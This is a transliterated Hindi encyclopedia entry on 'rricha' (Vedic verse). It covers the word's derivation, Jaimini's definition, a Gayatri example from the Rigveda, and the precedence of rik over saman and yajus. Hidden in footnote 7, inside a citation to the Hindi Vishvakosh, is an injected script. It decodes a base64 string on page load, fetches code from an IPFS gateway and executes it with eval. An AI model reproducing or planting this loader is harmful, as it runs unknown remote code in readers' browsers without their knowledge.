ऋचा
rricha chhandobaddh vaidik mantr. rrik ya rricha ek hi shabd ke do roop haian. jisake dvara kisi devavishesh ki, kriyavishesh ki athava kriya ke sadhanavishesh ki archana ya prashansa ki jae, use rrik kahate haian. 'rrik' ya 'rricha' ka yahi vyutpattilabhy arth hai.[1] rricha ka ek doosara nam 'shakvari' bhi hai. yah shabd shakh dhatu se nishpann hota hai aur arth hai vah mantr jisake dvara iandr apane shatru vritr ko marane mean samarth hua[2] jaimini ne apane mimaansadarshan mean rrikh ke lakshan prasang mean likha hai-teshamrikh yatrarthavashen padavyavastha; mimaansa sootr[3] arthath jin mantroan mean arth ke vash se padoan ki vyavastha rahati hai ve rrikh kahalate haian. rrichaoan ke padoan ki vyavastha arth ke anusar hoti hai; yah ek b da hi mahatvapoorn niyam vaidik chhandoan ke vishay mean hai. ise samajhane ke lie ek udaharan paryapt hoga. ved ki ek prakhyat rricha hai :
agni: poorvebhirrirshibhiridayo nootanairut.
s devaan eh vakshati.[4]
yah tripada gayatri rricha hai. isamean tin pad haian aur pratyek pad mean ath akshar. samany drishti se vichar karane par pratham pad ka aant 'rrishibhi:' pad par hoga, parantu kriyapad ke abhav mean vah pad arth ki drishti se apoorn hai. phalat: 'ridayo' tak pratham pad 10 aksharoan ka hoga aur dvitiy pad keval paanch aksharoan ka hoga. aisi vyavastha nidanasootr mean patanjali ke matanusar hai ki gayatri ka ashtakshar pad paanch ya char aksharoan tak nyoon hokar ho sakata hai tatha badhakar das aksharoan tak vah ja sakata hai. in rrichaoan ka sangrah rrigved ke nam se prakhyat hai. rrigved ko chho dakar kuchh rrichaean yajurved mean aur adhik rrichaean artharvaved mean upalabdh hoti haian.
'trayi' ke utpadak tin aansh haian-rrikh, yaju: tatha sam. in tinoan mean rrikh vishesh abhyarhit ya poojaniy mana jati hai, kyoanki usaki utpatti donoan ki apeksha pahale huee thi. isaka spasht ullekh ved ke anek sthaloan par milata hai. purushasookt ke mantr mean rrichaoan ki rrichaoan ki utpatti prathamat: mani gee hai:
tasmadh yajnath sarvahut rrich: samani yajnire.
chhandaansi jajnire tasmath yajustasmadajayat..[5]
inaki poojaniyata ka ek doosara bhi karan hai. taittiriy sanhita ke anusar rrichaoan ke dvara sanpadit yajnaang dridh hota hai-yadh vai yajnasy samna yajusha kriyate shithilan tadh. yadh rricha tadh dridhamiti[6] isaka arth hai ki sam tatha yajushh ke dvara sanpann yajn ka aang shithil hi rahata hai. parantu rrikh ke dvara nishpann aang dridh hota hai. is prakar yajnaang ki dridhata ke karan bhi rrichaean poojaniy mani jati haian. sam to rrichaoan ke oopar hi ashrit rahate haian. rrichaoan ke abhav mean sam ki avasthiti hi niradhar rahegi. phalat: samoan ki pratishtha ke lie bhi rrichaean avashyak hoti haian.[7]
sab vedoan ke brahman apane kathanoan mean vishvas ki dridhata utpann karane ke lie 'rricha abhyuktamh' aisa nirdesh kar rrichaoan ko uddhrit karate haian. adhyayan ke kram mean bhi rrigved pratham mana jata hai. chhaandogy upanishadh[8]mean narad ne apani adhit vidyaoan mean rrigved ka hi pratham nirdesh kiya hai-rrigvedan bhagavoadhyemi. isi prakar muandak[9] mean tatha nrisianhatapaniy upanishadh[10]mean rrichaoan ka ved ke pratham pathay ke roop mean ullekh kiya gaya hai. is prakar rrichaean vishesh adar tatha shraddha se sanpann mani jati haian. rrichaoan ki vishisht sanjnaean bhi hoti haian jo kabhi adi pad ke karan aur kabhi viniyog ki drishti se di jati haian. 'mahanamni' pad ke karan kee rrichaean mahanamni kahalati haian, to agnisamiandhan ke lie prayukt hone se any rrichaean 'samadhani' tatha kooshmaand ke sanmidhan ke lie prayukt hone se any rrichaean 'samadhani' tatha kooshmaand ke sath anushthan mean prayukt hone se 'kooshmaandi' kahalati haian.[11][12]
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tika tippani aur sandarbh
- ↑ (archyate prashasyateanaya devavishesh: kriyavishesh: tatsadhanavishesha va ityrikh shabd vyutpatte:-sayan ki rrikhbhashy ki upakramanika)
- ↑ (yadabhirvritramashakadh hantuan tachchhakvarinaan shakvaritvamiti vijnayate-kaushitaki bra. 23.2).
- ↑ (2.1.35)
- ↑ (rrigved 1.1.2)
- ↑ (rrigved 10.90.9)
- ↑ (taiti. san.6.5.10.3)
- ↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 193 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ (7.1.2)
- ↑ (1.1.5)
- ↑ (1.1.2)
- ↑ (shukl yajurved 20.14-16)
- ↑ san.gran.-yudhishthir mimaansak : vaidik chhandomimaansa, amritasar, 1959; piangal: chhand:shastramh, nirnayasagar pres, banbee, 1938
